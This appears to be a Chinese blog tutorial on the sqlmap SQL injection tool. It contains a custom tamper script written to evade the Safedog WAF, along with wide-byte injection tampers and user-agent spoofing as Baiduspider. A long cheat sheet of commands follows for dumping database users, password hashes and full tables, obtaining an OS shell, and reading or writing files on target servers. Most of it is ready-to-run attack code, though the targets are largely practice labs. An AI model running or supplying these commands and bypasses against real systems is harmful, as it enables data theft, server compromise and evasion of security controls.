使用脚本前:tamper('1' AND 1=1')
使用脚本后:1' && 1=1

unmagicquotes.py
适用数据库:ALL
作用:宽字节绕过

例如:宽字节注入

sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper=unmagicquotes --dbs

适用数据库:ALL
作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
使用脚本前:tamper(“1’ AND 1=1”)
使用脚本后:1%bf%27 AND 1=1–

例如:写tamper脚本绕过waf

例如:

手工正常注入被安全狗拦截

请添加图片描述

利用sqlmap 被拦截

请添加图片描述

脚本:

import re
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    if payload:
        payload=payload.replace("union","%23a%0aunion")
        payload = payload.replace("select", "/*!44575select*/")
        payload = payload.replace("%20", "%23a%0a")
        payload = payload.replace(" ", "%23a%0a")
        payload = payload.replace("database()", "database%23a%0a()")

    return payload

语句:sqlmap -u" http://xxxxxxxx/SQL/Less-1/?id=1" --user-agent=“Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)” --tamper=bypassdog.py

绕过截图:
请添加图片描述

7.利用sqlmap绕过waf

1.有些waf识别工具的头user-agent
请添加图片描述

利用随机代理头绕过使用参数 --random-agent

2.使用–tamper写自定义绕过参数防护

3.waf开启流量攻击拦截cc攻击

3.1.伪装搜索引擎

使用 --user-agent=Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

3.2.使用添加延时参数 --delay参数

3.3.代理池

重要sqlmap参数语句

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, 
                                          SAP MaxDB, SQLite, Sybase
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="127.0.0.1:8080"    #指定代理
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)

-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #刷新session  
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段

--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received.
### SQLmap POST 请求安全测试教程 对于执行基于POST请求的SQL注入攻击,`sqlmap`提供了强大的功能支持。在Kali Linux系统中,由于预装了此工具,可以直接通过命令行调用并利用其进行全面的安全评估[^1]。 当目标Web应用程序接受表单提交的数据作为输入时,通常会采用POST方法发送数据到服务器端处理脚本。为了模拟这种场景下的潜在漏洞探测,在使用`sqlmap`时可以通过指定URL以及附加必要的HTTP POST数据来完成操作。具体而言: - `-u` 参数用于定义待测的目标网址; - `--data` 参数用来传递随同POST请求一起发出的具体字段及其初始值; 下面是一个具体的实例展示如何针对有用户名(`uname`)和密码(`pass`)登录框的情况实施检测[^3]: ```bash python ./sqlmap.py -u "http://example.com/login.php" --data="uname=admin&pass=1234" ``` 如果希望进一步获取数据库内特定表(比如名为`users`)中的列名信息,则可以在上述基础上追加选项: ```bash python ./sqlmap.py -u "http://example.com/userinfo.php" --columns -T users ``` 另外一种常见的方式是准备一个包含完整HTTP请求细节(包括但不限于method、headers、body等部分)的文本文件,并借助`-r`参数告知`sqlmap`去读取该配置来进行更复杂的测试活动[^2]。 #### 示例:从请求包文件启动sqlmap 假设有一个叫做`request.txt`的文件保存了一个完整的HTTP POST请求内容,那么可以这样运行程序: ```bash sqlmap -r request.txt ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

h1dm

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值